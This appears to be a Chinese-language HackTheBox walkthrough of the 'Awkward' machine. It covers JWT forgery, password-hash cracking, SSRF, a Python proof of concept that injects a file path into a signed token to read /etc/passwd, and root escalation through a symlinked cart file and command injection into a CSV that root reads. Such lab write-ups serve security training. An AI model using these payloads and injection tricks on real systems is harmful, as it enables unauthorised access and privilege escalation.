HackTheBox - Medium - Linux - Awkward

Awkward

Awkward 是一款中等难度的机器,它突出显示了不会导致 RCE 的代码注入漏洞,而是 SSRF、LFI 和任意文件写入/追加漏洞。此外,该框还涉及通过不良的密码做法(例如密码重用)以及以纯文本形式存储密码来绕过身份验证。


外部信息收集

端口扫描

循例nmap

HackTheBox - Medium - Linux - Awkward_第1张图片

Web枚举

Vhost枚举

ffuf

HackTheBox - Medium - Linux - Awkward_第2张图片

从主站的开发者工具中能找到router.js,里面有几个路由

HackTheBox - Medium - Linux - Awkward_第3张图片

/hr

HackTheBox - Medium - Linux - Awkward_第4张图片

http请求里有个token,常规把guest改admin,然后刷新页面

HackTheBox - Medium - Linux - Awkward_第5张图片

跳转到了dashboard

HackTheBox - Medium - Linux - Awkward_第6张图片

现在我们继续看services下的/api端点

HackTheBox - Medium - Linux - Awkward_第7张图片

通过staff-details,我们能够获得user和密码hash

HackTheBox - Medium - Linux - Awkward_第8张图片

hashcat爆出一个,是christopher.jones的

file

把token重置为guest,然后到/hr登录

HackTheBox - Medium - Linux - Awkward_第9张图片

SSRF

store-status参数是一个url,盲猜SSRF, 直接给一个url发现没成功

通过常规@符逃逸就成功了

HackTheBox - Medium - Linux - Awkward_第10张图片

前面的store子域是需要登录的,密码重用没成功

通过SSRF扫内网的http服务

生成数字字典

file

ffuf

file

file

3002披露了那几个api的后端源码

HackTheBox - Medium - Linux - Awkward_第11张图片

Foothold

值得注意的是all-leave,这里user虽然被黑名单严格检测,但依然有可乘之机, 这将通过jwt来让它妥协

HackTheBox - Medium - Linux - Awkward_第12张图片

这里的jwt是签名的,通过jhon爆破得到密钥

HackTheBox - Medium - Linux - Awkward_第13张图片

生成jwt poc

import jwt


key = "123beany123"
algorithm = "HS256"
payload = {"username": "/' /etc/passwd '"}

token = jwt.encode(payload, key, algorithm=algorithm)
print(token)

HackTheBox - Medium - Linux - Awkward_第14张图片

两个用户,读/home/bean/.bashrc

HackTheBox - Medium - Linux - Awkward_第15张图片

读backup_home.sh

#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

从浏览器下.tar.gz,解压之后得到

HackTheBox - Medium - Linux - Awkward_第16张图片

在xpad中能看到bean的明文凭据

HackTheBox - Medium - Linux - Awkward_第17张图片

通过这个明文密码,我们可以登bean的ssh

本地权限提升

现在,我们能够通过admin:bean的凭据 登录store子域

同时,pspy也发现了root似乎在读leave_requests.csv后发送了一封邮件,我看到bean.hill时我想应该可以修改leave_requests.csv将username改为恶意命令来达到劫持这条命令的效果

2024/01/05 23:40:01 CMD: UID=0     PID=4834   | tail -1 /var/www/private/leave_requests.csv 
2024/01/05 23:40:01 CMD: UID=0     PID=4836   | /bin/bash /root/scripts/notify.sh 
2024/01/05 23:40:01 CMD: UID=0     PID=4841   | trivial-rewrite -n rewrite -t unix -u -c 
2024/01/05 23:40:01 CMD: UID=0     PID=4840   | mail -s Leave Request: bean.hill christine

然鹅/var/www/private/leave_requests.csv无权读写

在store查看时,我发现了一些txt,并且去读取了它们,这些似乎是一些http参数

HackTheBox - Medium - Linux - Awkward_第18张图片

grep

HackTheBox - Medium - Linux - Awkward_第19张图片

在cart_actions.php中,值得关注的是这些代码

//check for valid hat valley store item
function checkValidItem($filename) {
    if(file_exists($filename)) {
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
            return true;
...
//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
        if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
            system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
        }
        system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
        echo "Item added successfully!";
    }

虽然我们依然无法直接rce,但是product-details/和cart/两个目录我们都有777权限,private/ www-data组应该有权限

在product-details/下创建一个新的4.txt,在第二行写入恶意命令

HackTheBox - Medium - Linux - Awkward_第20张图片

去到cart/创建软连接

HackTheBox - Medium - Linux - Awkward_第21张图片

创建cmd.sh

file

请求cart_actions.php

HackTheBox - Medium - Linux - Awkward_第22张图片

不出意外它会到来,除非手慢了

HackTheBox - Medium - Linux - Awkward_第23张图片

你可能感兴趣的:(HackTheBox,HackTheBox,网络安全,linux渗透测试,配置错误,Web)